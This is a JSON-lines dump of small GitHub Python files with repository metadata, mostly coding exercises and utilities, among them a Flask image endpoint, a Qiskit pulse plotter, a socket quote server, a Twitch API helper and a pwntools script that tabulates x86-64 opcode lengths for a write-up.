+{"seq_id":"29398511696","text":"# Faça um programa que leia o ano de nascimento de um jovem.\n# Informe, de acordo com sua idade:\n# Se ele ainda vai se alistar ao serviço militar;\n# Se é a hora de se alistar;\n# Se já passou do tempo do alistamento.\n# Seu programa também deverá mostrar o tempo que falta ou que passou do prazo.\nfrom datetime import date\n\ncurr_year = date.today().year\nborn = int(input('Ano de nascimento: '))\nprint('\\n1 - Masculino \\n2 - Feminino \\n3 - Outro')\ngender = int(input('Informe seu sexo com base no menu acima: '))\nage = curr_year - born\nprint(f'\\nQuem nasceu em {born} tem {age} anos em {curr_year}.')\n\nif gender != 1:\n    print('Você não precisa se alistar.\\n')\nelse:\n    if age > 18:\n        print(f'''Você já deveria ter se alistado há {age - 18} ano(s).\nSeu alistamento foi em {curr_year - (age - 18)}.\\n''')\n    elif age < 18:\n        print(f'''Ainda faltam {18 - age} ano(s) para seu alistamento.\nSeu alistamento será em {(18 - age) + curr_year}.\\n''')\n    else:\n        print(f'Você deve se alistar \\033[1;31;40mimediatamente\\033[m.\\n')","repo_name":"eduardoalmeida-frontend/python","sub_path":"Mundo 2 - Estruturas de Controle/ex039.py","file_name":"ex039.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21447888447","text":"def removeDuplicate(str, n):\r\n    i = 0\r\n    \r\n    for j in range(0, n):\r\n        for k in range(0, j + 1):\r\n            if (str[j] == str[k]):\r\n                break\r\n                 \r\n        if (k == j):\r\n            str[i] = str[j]\r\n            i += 1\r\n             \r\n    string = \"\".join(str[:i])\r\n    return string\r\n \r\nstr= str(input(\"Enter String Value:\"))\r\nn = len(str)\r\nprint(removeDuplicate(list(str), n))","repo_name":"Opensourcecontri/Hacktoberfest-2021","sub_path":"python/removeduplicatestring.py","file_name":"removeduplicatestring.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"77"}
+{"seq_id":"42809646579","text":"# EJERCICIO 1 TRABAJO PRACTICO 1 DE TKINTER\n# Guillermo Villagra\n# Ejercicio 1\n# Escribir una GUI con un botón con la leyenda “Mostrar fecha” y que al presionarlo\n# muestre por consola la fecha del día.\n\nimport tkinter as tk\nfrom tkinter import ttk\nimport datetime as dt\n\nclass Ej1(tk.Tk):\n    \"\"\"_summary_\n\n    Args:\n        tk (tk): Clase de un boton de la GUI\n    \"\"\"    \n    def __init__(self):\n        \"\"\"Datos de la GUI y boton fecha de hoy\n        \"\"\"        \n        super().__init__()\n        self.title(\"Ejercicio 1\")\n        self.geometry(\"300x300\")\n        self.boton = ttk.Button(self, text=\"Mostrar fecha\", command=self.mostrar_fecha)\n        self.boton.pack()\n        self.mainloop()\n\n    def mostrar_fecha(self):\n        \"\"\"Muestra la fecha actual mediante el import datetime al momento de usar el boton fecha de hoy de la GUI\n        \"\"\"        \n        ahora= dt.datetime.now()\n        ahora_str= ahora.strftime(\"%d/%m/%Y\")\n        # print(f\"Fecha del día. Dia: {ahora.day}, mes: {ahora.month} año: {ahora.year}\")\n        print(f\"Fecha del día. Dia: {ahora_str}\")\n        \nroot = Ej1()\n","repo_name":"frescoh/tkinter","sub_path":"TP 3/Ej1.py","file_name":"Ej1.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"es","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"30995903689","text":"from .builder import METHODS, build_operator\n\ndef operate(cfg):\n    \"\"\"\n    수치해석을 계산하는 메서드.\n    config를 받아서\n        1. 유효성 검사를 하고\n        2. 지정된 method에 따라 계산 수행\n    \"\"\"\n    cal = cfg.calculator\n    is_iter = cal.get('iter_num') or cal.get('iter_num')==0\n    is_stop_diff = cal.get('stop_diff') or cal.get('stop_diff')==0\n    # sanity check\n    assert not (is_iter and is_stop_diff), 'Only use either \"iter_num\" or \"stop_diff\".'\n    if is_iter:\n        assert cal.iter_num > 0, '\"iter_num\" should be a positive integer.'\n    if is_stop_diff:\n        if cal.stop_diff < 0:\n            print('\"stop_diff\" is set to positive. (calculate with absolute value)')\n            cal.stop_diff = -cal.stop_diff\n    build_operator(cal)","repo_name":"kb5kch2/numerical_method_v2","sub_path":"core/operate.py","file_name":"operate.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29935408735","text":"import ast, copy, json, random, string, time, threading\nfrom decimal import Decimal\n\ndef check_filled(param, value):\n    if not value:\n        raise Exception(\"param<%s> should be filled\" % param)\n\ndef current_timestamp():\n    return int(round(time.time() * 1_000))\n\ndef random_id(scope=10):\n    return random.randint(10 ** scope, 10 ** (scope+1) - 1)\n\ndef random_order_id():\n    def id_generate(size=6, chars=string.ascii_uppercase + string.digits):\n        return ''.join(random.choice(chars) for _ in range(size))\n    return \"%s:%s-%s\" % (id_generate(), id_generate(), id_generate())\n\ndef start_thread(target, args):\n    th = threading.Thread(target=target, args=args)\n    th.daemon = False\n    th.start()\n    return th\n\nclass Dict2Class(object):\n    replace_fields = [(\"null\", \"None\"), (\"true\", \"True\"), (\"false\", \"False\")]\n    def __init__(self, jdict: 'dict', recursion=True):\n        def convert(v, recursion):\n            if recursion:\n                return Dict2Class.from_val(v)\n            return v\n        for k, v in jdict.items():\n            setattr(self, k, convert(v, recursion))\n\n    def hasattr(self, attr: 'str'):\n        return hasattr(self, attr)\n\n    def hasattrs(self, attrs: 'list'):\n        for attr in attrs:\n            if not hasattr(self, attr):\n                return False\n        return True\n\n    def setattr(self, attr: 'str', val):\n        setattr(self, attr, val)\n        return self\n\n    def __it_list(self, val: 'list', _4_json):\n        _r = list()\n        for ele in val:\n            if isinstance(ele, Dict2Class):\n                _r.append(ele.asdict(_4_json))\n            elif isinstance(ele, dict):\n                _r.append(Dict2Class(ele).asdict(_4_json))\n            elif isinstance(ele, list):\n                _r.append(self.__it_list(ele, _4_json))\n            elif isinstance(ele, tuple):\n                _r.append(tuple(self.__it_list(list(ele), _4_json)))\n            elif _4_json and isinstance(ele, Decimal):\n                _r.append(str(ele))\n            else:\n                _r.append(ele)\n        return _r\n\n    def asdict(self, _4_json=False):\n        _d = copy.deepcopy(vars(self))\n        for k, v in _d.items():\n            if isinstance(v, Dict2Class):\n                _d.update({k: v.asdict(_4_json)})\n            elif isinstance(v, dict):\n                _d.update({k: Dict2Class(v).asdict(_4_json)})\n            elif isinstance(v, list):\n                _d.update({k: self.__it_list(v, _4_json)})\n            elif isinstance(v, tuple):\n                _d.update({k: tuple(self.__it_list(list(v), _4_json))})\n            elif _4_json and isinstance(v, Decimal):\n                _d.update({k: str(v)})\n        return _d\n\n    def asstr(self):\n        return json.dumps(self.asdict(_4_json=True))\n\n    @staticmethod\n    def from_val(val, recursion=True):\n        if isinstance(val, dict):\n            return Dict2Class(val, recursion)\n        elif isinstance(val, list):\n            return [Dict2Class.from_val(ele, recursion) for ele in val]\n        elif isinstance(val, tuple):\n            return tuple([Dict2Class.from_val(ele, recursion) for ele in val])\n        return val\n\n    @staticmethod\n    def to_val(obj):\n        if isinstance(obj, list):\n            return [(ele.asdict() if isinstance(ele, Dict2Class) else Dict2Class.to_val(ele)) for ele in obj]\n        elif isinstance(obj, Dict2Class):\n            return obj.asdict()\n        return obj\n\n    @staticmethod\n    def from_str(val, recursion=True):\n        if isinstance(val, str):\n            for (k, v) in Dict2Class.replace_fields:\n                if k in val:\n                    val = val.replace(k, v)\n            return Dict2Class.from_val(ast.literal_eval(val), recursion)\n        return Dict2Class.from_val(val, recursion)\n","repo_name":"DeepLn/binex_f","sub_path":"binex_f/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"17934374545","text":"import flask\r\nimport werkzeug\r\nimport dehaze\r\nimport cv2\r\n\r\n\r\napp = flask.Flask(__name__)\r\n\r\n@app.route('/', methods = ['GET', 'POST'])\r\ndef h():\r\n    imagefile = flask.request.files['image']\r\n    filename = werkzeug.utils.secure_filename(imagefile.filename)\r\n    print(\"\\nReceived image File name : \" + imagefile.filename)\r\n    imagefile.save(filename)\r\n    dehaze.ma()  \r\n    \r\n    return flask.send_file('androidFlask_out_t00.55_w0.95.jpg',mimetype=\"image/*jpg\") \r\n       \r\nif __name__ == '__main__':\r\n    app.run(host=\"0.0.0.0\", port=5000, debug=True)\r\n    \r\n","repo_name":"Advaitamanohar/main-project","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23783884562","text":"import sys\ninput = sys.stdin.readline\n\ntestCount = int(input())\n\nfor i in range(testCount):\n    start_x, start_y, end_x, end_y = map(int, input().split())\n    n = int(input())\n    \n    result = 0 \n    \n    for j in range(n):\n\n        planet_x, planet_y, pl_distance = map(int, input().split())\n        distance_pl_to_start = (((start_x - planet_x) ** 2) + ((start_y - planet_y) ** 2)) ** 0.5 \n        distance_pl_to_end = (((end_x - planet_x) ** 2) + ((end_y - planet_y) ** 2)) ** 0.5 \n        \n        if distance_pl_to_start < pl_distance and distance_pl_to_end < pl_distance: \n            continue\n        elif distance_pl_to_start < pl_distance: \n            result += 1\n        elif distance_pl_to_end < pl_distance: \n            result += 1\n    \n    print(result)","repo_name":"pangpang-study/algorithm-coding-test-study","sub_path":"yhg/[new]littleprince.py","file_name":"[new]littleprince.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"39056876043","text":"class Acc_balance:\n  def __init__(self,program):\n    self.program = program\n\n  def ans(self):\n    lis = self.program.split(\" \")\n    balance = 0\n    for i in range(len(lis)-1):\n      if lis[i] == 'D':\n        balance += int(lis[i+1])\n      elif lis[i] == 'W':\n        balance -= int(lis[i+1])\n    return balance\n\nif __name__ == \"__main__\":\n  program = input(\"enter the program: \")\n  obj = Acc_balance(program)\n  print(obj.ans())","repo_name":"apatil241995/Python-practice-problems-Week-7","sub_path":"30-03-2022/32 bank account/using class.py","file_name":"using class.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73566582010","text":"from pwn import asm\n\n\nBANNER = '''\n| Opcodes       | Bytes | Instructions   |                  Comment                 |\n|---------------|:-----:|----------------|:----------------------------------------:|'''\n\nENDING = '|               |       |                |                                          |'\n\ntemplate = '| {opcodes}    | {bytes} | {instr}     | {comment} |'\n\nSOFT_SPACE = '&nbsp;'\n\ninstructions = (\n    ('xor rax, rax', ''),\n    ('xor eax, eax', 'zeroes rax register'),\n    ('mov rbx, 1', 'too big to use'),\n    ('mov ebx, 1', 'too big to use'),\n    ('mov bx, 1', ''),\n    ('dec edx', ''),\n    ('inc edx', ''),\n    ('inc r15', ''),\n    ('mov r13, r14', ''),\n    ('mov r15, [r14]', ''),\n    ('mov r15, [r14+32]', ''),\n    ('mov [r15], r14', ''),\n    ('mov [r15+64], r14', 'max offset for 4B instruction is 127'),\n    ('mov [r15+128], r14', 'too big to use'),\n    ('lea r15, [r13+127]', 'max offset for 4B instruction is 127')\n)\n\nprint(BANNER)\nfor instr, comment in instructions:\n    if not comment:\n        comment = '-'\n\n    opcodes = asm(instr, os='linux', arch='amd64')\n    opcodes_hex = opcodes.encode('hex')\n    opcodes_hex = ' '.join(opcodes_hex[i:i+2] for i in range(0, len(opcodes_hex), 2))\n\n    instr = instr.replace(' ', SOFT_SPACE)\n    opcodes_hex = opcodes_hex.replace(' ', SOFT_SPACE)\n\n    msg = template.format(\n        instr=instr, opcodes=opcodes_hex, bytes=len(opcodes), comment=comment\n    )\n\n    print(msg)\nprint(ENDING)\n","repo_name":"disconnect3d/disconnect3d.github.io","sub_path":"_posts/inst_prof_writeup/table_gen.py","file_name":"table_gen.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9864909920","text":"import numpy as np\nfrom scipy.interpolate import CubicSpline\n\nfrom qiskit.exceptions import QiskitError\n\n\ndef pulse_drawer(samples, duration, dt=None, interp_method='None',\n                 filename=None, interactive=False,\n                 dpi=150, nop=1000, size=(6, 5)):\n    \"\"\"Plot the interpolated envelope of pulse\n\n    Args:\n        samples (ndarray): Data points of complex pulse envelope.\n        duration (int): Pulse length (number of points).\n        dt (float): Time interval of samples.\n        interp_method (str): Method of interpolation\n            (set `None` for turn off the interpolation).\n        filename (str): Name required to save pulse image.\n        interactive (bool): When set true show the circuit in a new window\n            (this depends on the matplotlib backend being used supporting this).\n        dpi (int): Resolution of saved image.\n        nop (int): Data points for interpolation.\n        size (tuple): Size of figure.\n    Returns:\n        matplotlib.figure: A matplotlib figure object for the pulse envelope.\n    Raises:\n        ImportError: when the output methods requieres non-installed libraries.\n        QiskitError: when invalid interpolation method is specified.\n    \"\"\"\n\n    try:\n        from matplotlib import pyplot as plt\n    except ImportError:\n        raise ImportError('pulse_drawer need matplotlib. '\n                          'Run \"pip install matplotlib\" before.')\n\n    if dt:\n        _dt = dt\n    else:\n        _dt = 1\n\n    re_y = np.real(samples)\n    im_y = np.imag(samples)\n\n    image = plt.figure(figsize=size)\n    ax0 = image.add_subplot(111)\n\n    if interp_method == 'CubicSpline':\n        # spline interpolation, use mid-point of dt\n        time = np.arange(0, duration + 1) * _dt + 0.5 * _dt\n        cs_ry = CubicSpline(time[:-1], re_y)\n        cs_iy = CubicSpline(time[:-1], im_y)\n\n        _time = np.linspace(0, duration * _dt, nop)\n        _re_y = cs_ry(_time)\n        _im_y = cs_iy(_time)\n    elif interp_method == 'None':\n        # pseudo-DAC output\n        time = np.arange(0, duration + 1) * _dt\n\n        _time = np.r_[time[0], np.repeat(time[1:-1], 2), time[-1]]\n        _re_y = np.repeat(re_y, 2)\n        _im_y = np.repeat(im_y, 2)\n    else:\n        raise QiskitError('Invalid interpolation method \"%s\"' % interp_method)\n\n    # plot\n    ax0.fill_between(x=_time, y1=_re_y, y2=np.zeros_like(_time),\n                     facecolor='red', alpha=0.3,\n                     edgecolor='red', linewidth=1.5,\n                     label='real part')\n    ax0.fill_between(x=_time, y1=_im_y, y2=np.zeros_like(_time),\n                     facecolor='blue', alpha=0.3,\n                     edgecolor='blue', linewidth=1.5,\n                     label='imaginary part')\n\n    ax0.set_xlim(0, duration * _dt)\n    ax0.grid(b=True, linestyle='-')\n    ax0.legend(bbox_to_anchor=(0.5, 1.00), loc='lower center',\n               ncol=2, frameon=False, fontsize=14)\n\n    if filename:\n        image.savefig(filename, dpi=dpi, bbox_inches='tight')\n\n    plt.close(image)\n\n    if image and interactive:\n        plt.show(image)\n\n    return image\n","repo_name":"kadora626/qiskit-terra","sub_path":"qiskit/tools/visualization/_pulse_visualization.py","file_name":"_pulse_visualization.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"24954494504","text":"from ursina import *\r\nfrom ursina.prefabs.first_person_controller import FirstPersonController\r\n\r\n\r\n\r\n\r\n\r\nclass Voxel(Button):\r\n\tdef __init__(self, position = (0,0,0), texture = 'white_cube'):\r\n\t\tsuper().__init__(\r\n\t\t\tparent = scene,\r\n\t\t\tposition = position,\r\n\t\t\tmodel = 'cube',\r\n\t\t\torigin_y = 0.5,\r\n\t\t\ttexture = texture,\r\n\t\t\tcolor = color.color(0,0,random.uniform(0.9,1)),\r\n\t\t\tscale = 1,\r\n\t\t\thighlight_color = color.lime)\r\n\r\n\tdef input(self,key):\r\n\t\tif self.hovered:\r\n\t\t\tif key =='left mouse down':\r\n\t\t\t\tvoxel = Voxel(position = self.position + mouse.normal)\t\r\n\t\t\tif key == 'right mouse down':\r\n\t\t\t\tdestroy(self)\r\n\t\t\r\n\r\napp = Ursina()\r\n\r\nsky_texture = load_texture('assets/skybox.png')\r\n\r\nwindow.fps_counter.enabled = False\r\nwindow.exit_button.visible = False\r\n\r\nfor z in range(30):\r\n\tfor x in range(30):\r\n\t\tvoxel = Voxel(position = (x,0,z))\r\n\r\nplayer = FirstPersonController()\r\nsky = Sky()\r\napp.run()","repo_name":"Cadambra-Studio/MyCraft","sub_path":"MyCraft/Minecraft.py","file_name":"Minecraft.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41582342084","text":"from itertools import product\nfrom typing import List\n\nGRID_SIZE = 4\n\n\ndef checkio(lines_list: List[List[int]]) -> int:\n    print('Lines list:', lines_list)\n\n    all_lines = {tuple(sorted(line)) for line in lines_list}\n    print('All lines:', all_lines)\n\n    all_edges = []\n    for square_size in range(1, GRID_SIZE):\n        print('Square size:', square_size)\n\n        top_lefts = [1 + y * GRID_SIZE + x for y, x in product(range(GRID_SIZE - square_size), repeat=2)]\n        for top_left in top_lefts:\n            print('Top left:', top_left)\n\n            edges_right = []\n            left, right = top_left, top_left + 1\n            for _ in range(square_size - 1):\n                edges_right.append((left, right))\n                left, right = left + 1, right + 1\n            edges_right.append((left, right))\n            print('Edges right:', edges_right)\n\n            edges_down = []\n            top, bottom = right, right + GRID_SIZE\n            for _ in range(square_size - 1):\n                edges_down.append((top, bottom))\n                top, bottom = top + + GRID_SIZE, bottom + GRID_SIZE\n            edges_down.append((top, bottom))\n            print('Edges down:', edges_down)\n\n            edges_left = []\n            left, right = bottom - 1, bottom\n            for _ in range(square_size - 1):\n                edges_left.append((left, right))\n                left, right = left - 1, right - 1\n            edges_left.append((left, right))\n            edges_left.sort()\n            print('Edges left:', edges_left)\n\n            edges_up = []\n            top, bottom = left - GRID_SIZE, left\n            for _ in range(square_size - 1):\n                edges_up.append((top, bottom))\n                top, bottom = top - GRID_SIZE, bottom - GRID_SIZE\n            edges_up.append((top, bottom))\n            edges_up.sort()\n            print('Edges up:', edges_up)\n\n            edges = edges_right + edges_down + edges_left + edges_up\n            print('Edges:', edges)\n            print()\n\n            all_edges.append(set(edges))\n\n    print('All edges:', all_edges)\n    print()\n\n    square_count = sum(edges <= all_lines for edges in all_edges)\n    print('Square count:', square_count)\n    print()\n    return square_count\n\n\nif __name__ == '__main__':\n    assert (checkio([[1, 2], [3, 4], [1, 5], [2, 6], [4, 8], [5, 6], [6, 7],\n                     [7, 8], [6, 10], [7, 11], [8, 12], [10, 11],\n                     [10, 14], [12, 16], [14, 15], [15, 16]]) == 3), \"First, from description\"\n    assert (checkio([[1, 2], [2, 3], [3, 4], [1, 5], [4, 8],\n                     [6, 7], [5, 9], [6, 10], [7, 11], [8, 12],\n                     [9, 13], [10, 11], [12, 16], [13, 14], [14, 15], [15, 16]]) == 2), \"Second, from description\"\n    assert (checkio([[1, 2], [1, 5], [2, 6], [5, 6]]) == 1), \"Third, one small square\"\n    assert (checkio([[1, 2], [1, 5], [2, 6], [5, 9], [6, 10], [9, 10]]) == 0), \"Fourth, it's not square\"\n    assert (checkio([[16, 15], [16, 12], [15, 11], [11, 10],\n                     [10, 14], [14, 13], [13, 9]]) == 0), \"Fifth, snake\"\n","repo_name":"ogorodnikov/pycheck","sub_path":"Complete/Square Chest/square_chest - Before Formula.py","file_name":"square_chest - Before Formula.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18759026391","text":"from os import name\r\nimport pandas as pd\r\nimport seaborn as sns\r\nsns.set_theme(style=\"whitegrid\")\r\nimport matplotlib.pyplot as plt\r\n\r\n# Read dataframe\r\ndf = pd.read_csv('./results/pca_analysis_2D_smote.csv', skipinitialspace=True, na_values='scalar')\r\n\r\nlinear  = df.loc[df['kernel'] == 'linear']\r\npoly = df.loc[df['kernel'] == 'poly']\r\nrbf = df.loc[df['kernel'] == 'rbf']\r\nsigmoid = df.loc[df['kernel'] == 'sigmoid']\r\n\r\nmax_idx = df['macro'].idxmax()\r\n\r\nprint(df.loc[max_idx, 'kernel'])\r\nprint(max_idx)\r\nprint(df.loc[max_idx, '0'])\r\nprint(df.loc[max_idx, '1'])\r\nprint(df.loc[max_idx, '2'])\r\n\r\ntest = df.loc[max_idx, 'macro']\r\n\r\nplt.figure()\r\nplt.plot(linear['n_components'], linear['macro'], linestyle='dashed', label='linear')\r\nplt.plot(poly['n_components'], poly['macro'], linestyle='dashed', label='poly')\r\nplt.plot(rbf['n_components'], rbf['macro'], linestyle='dashed', label='rbf')\r\nplt.plot(sigmoid['n_components'], sigmoid['macro'], linestyle='dashed', label='sigmoid')\r\nplt.xlabel(\"Number of components\")\r\nplt.ylabel(\"AUROC\")\r\nplt.legend(loc=\"lower right\")\r\nplt.annotate(str(round(test, 2)), (linear.loc[max_idx, 'n_components'], linear.loc[max_idx, 'macro']))\r\nplt.tight_layout()\r\nplt.show()","repo_name":"brumendes/radiomics","sub_path":"plot_pca_analysis.py","file_name":"plot_pca_analysis.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33291364077","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 19 18:00:43 2022\r\n\r\n@author: zkoritnik\r\n\"\"\"\r\n\r\nfile = 'aoc_2022_1'\r\nwith open(f\"C:/Users/zkoritnik/AoC/2022/{file}.txt\") as f:\r\n    data = f.read() #importaš txt file kot string...readlines da podatke v list\r\n    data = data.split('\\n\\n') # split po empty line\r\n    data = [text.replace('\\n', ' ') for text in data]\r\n    data = [i.split() for i in data]\r\n    data = [[int(x) for x in lst] for lst in data]\r\n\r\nsums = set()\r\nfor line in range(len(data)):\r\n    s = sum(data[line])\r\n    sums.add(s)\r\n\r\nmost = sorted(sums, reverse=True)[0]\r\nprint(f'Solution for Part 1: {most}')\r\n\r\ntop3 = sum(sorted(sums, reverse=True)[:3])\r\nprint(f'Solution for Part 1: {top3}')\r\n","repo_name":"poserko/Advent-of-Code","sub_path":"2022/AoC_2022_1.py","file_name":"AoC_2022_1.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41857720137","text":"import random\nimport socket\nimport threading\n\n# Quotes array\nQUOTES = [\n    \"Agama tidak pernah mengecewakan manusia. Tetapi manusia yang selalu mengecewakan agama.\",\n    \"Hati yg terluka umpama besi bengkok walau diketuk sukar kembali kepada bentuk asalnya.\",\n    \"Keikhlasan itu umpama seekor semut hitam di atas batu yang hitam di malam yang amat kelam. Ianya wujud tapi amat sukar dilihat.\",\n    \"Harta akan habis digunakan tanpa ilmu tetapi sebaliknya ilmu akan berkembang jika ia digunakan.\",\n    \"Reaksi emosi  jangan dituruti kerana implikasinya tidak seperti yang diimaginasi.\"\n]\n\n# Function to handle client \ndef handle_client(client_socket):\n    global threadcount\n    # Randomize quote from array\n    quote = random.choice(QUOTES)\n    print(\"[*] Randomizing quotes\")\n\n    # Send quote to client\n    client_socket.send(quote.encode())\n    print(\"[*] Packet sent\")\n\n    # Close client's socket\n    client_socket.close()\n    threadcount -= 1\n    print(\"[*] Disconnected\")\n    print(f\"[*] Active thread:{threadcount}\\n\")\n\n# Create socket\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint(\"[*] Socket created\")\n\n# Define port\nport = 8888\n\n# Bind the socket to the IP address 0.0.0.0 and port 8888\nserver_socket.bind((\"0.0.0.0\", port))\nprint(f\"[*] Socket bind to port:{port}\")\n\n# Listen for incoming connections\nserver_socket.listen(5)\nprint(\"[*] Waiting for incoming connection...\")\n\n# Define threadcount\nthreadcount = 0\n\nwhile True:\n    # Accept connection\n    client_socket, client_address = server_socket.accept()\n    print(f\"[*] Accept connection from {client_address[0]}:{client_address[1]}\")\n\n    # Create new thread to handle client's request\n    client_thread = threading.Thread(target=handle_client, args=(client_socket,))\n    threadcount += 1\n\n    # Start new thread\n    client_thread.start()\n    print(f\"[*] Active thread:{threadcount}\")\n\n\n","repo_name":"loysz/SkillBasedTest","sub_path":"Q3Server.py","file_name":"Q3Server.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27299991634","text":"def oneStar(lines):\n    direction = \"E\"\n    directionIndex = 0\n    directions = [\"E\", \"S\", \"W\", \"N\"]\n    pos = {\"E\": 0, \"W\": 0, \"N\": 0, \"S\": 0}\n    for line in lines:\n        instr = line[0]\n        amount = int(line[1:])\n        if instr == \"E\" or instr == \"W\" or instr == \"N\" or instr == \"S\":\n            pos[instr] += amount\n        elif instr == \"F\":\n            pos[direction] += amount\n        else:\n            c = int(amount/90)\n            if instr == \"R\":\n                directionIndex += c\n            else:\n                directionIndex -= c\n            direction = directions[directionIndex%4]\n    print(abs(pos[\"E\"] - pos[\"W\"]) + abs(pos[\"N\"] - pos[\"S\"]))\n\ndef twoStar(lines):\n    waypointPos = {\"E\": 10, \"W\": 0, \"N\": 1, \"S\": 0}\n    pos = {\"E\": 0, \"W\": 0, \"N\": 0, \"S\": 0}\n    for line in lines:\n        instr = line[0]\n        amount = int(line[1:])\n        if instr == \"E\" or instr == \"W\" or instr == \"N\" or instr == \"S\":\n            waypointPos[instr] += amount\n        elif instr == \"F\":\n            pos[\"E\"] += waypointPos[\"E\"]*amount\n            pos[\"W\"] += waypointPos[\"W\"]*amount\n            pos[\"N\"] += waypointPos[\"N\"]*amount\n            pos[\"S\"] += waypointPos[\"S\"]*amount\n        else:\n            for _ in range(int(amount/90)):\n                tempPos = waypointPos.copy()\n                if instr == \"R\":\n                    tempPos[\"E\"] = waypointPos[\"N\"]\n                    tempPos[\"S\"] = waypointPos[\"E\"]\n                    tempPos[\"W\"] = waypointPos[\"S\"]\n                    tempPos[\"N\"] = waypointPos[\"W\"]\n                else:\n                    tempPos[\"W\"] = waypointPos[\"N\"]\n                    tempPos[\"N\"] = waypointPos[\"E\"]\n                    tempPos[\"E\"] = waypointPos[\"S\"]\n                    tempPos[\"S\"] = waypointPos[\"W\"]\n                waypointPos = tempPos\n    print(abs(pos[\"E\"] - pos[\"W\"]) + abs(pos[\"N\"] - pos[\"S\"]))\n            \nif __name__ == '__main__':\n    file1 = open('data12', 'r')\n    lines = file1.read().splitlines()\n\n    oneStar(lines)\n    twoStar(lines)\n","repo_name":"martinoman/advent-of-code2020","sub_path":"day12/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22326455973","text":"\"\"\"add summary to documentation\n\nRevision ID: 8eca597ab324\nRevises: f322bde30174\nCreate Date: 2023-10-09 16:41:06.069351\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8eca597ab324'\ndown_revision = 'f322bde30174'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('documentation', sa.Column('summary', sa.String(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('documentation', 'summary')\n    # ### end Alembic commands ###\n","repo_name":"JonathanGarro/SIMS-Portal","sub_path":"flask_app/migrations/versions/8eca597ab324_add_summary_to_documentation.py","file_name":"8eca597ab324_add_summary_to_documentation.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"12619717333","text":"import requests\nfrom flask import abort\nfrom flask import current_app as app\n\n_prefix = 'https://api.twitch.tv/kraken'\n\n\ndef followed_streams(name):\n    resp = requests.get(\"{}/users\".format(_prefix),\n                        params={'login': name},\n                        headers=app.config['_headers']).json()\n\n    if resp['_total'] == 0: abort(400)  # Invalid username\n    my_uid = resp['users'][0]['_id']\n\n    resp = requests.get(\"{}/users/{}/follows/channels\".format(_prefix, my_uid),\n                        params={'limit': '100'},\n                        headers=app.config['_headers'])\n\n    streamer_uids = [c['channel']['_id'] for c in resp.json()['follows']]\n\n    resp = requests.get('{}/streams'.format(_prefix),\n                        params={'channel': ','.join(streamer_uids)},\n                        headers=app.config['_headers'])\n\n    #print(resp.json()['streams'])\n    return resp.json()['streams']\n\n\ndef game_streamers(game):\n    resp = requests.get(\"{}/streams\".format(_prefix),\n                        params={'game': game, 'limit': 15},\n                        headers=app.config['_headers'])\n\n    return resp.json()['streams']\n\n\ndef jsonfind(json, *args):\n    for arg in args:\n        if arg in json:\n            json = json[arg]\n        else:\n            return None\n    return json\n\n\ndef multifind(jsonlist, *args):\n    return [jsonfind(json, *args) for json in jsonlist]\n","repo_name":"mudkip1123/peanut","sub_path":"twitchapp/ttv.py","file_name":"ttv.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
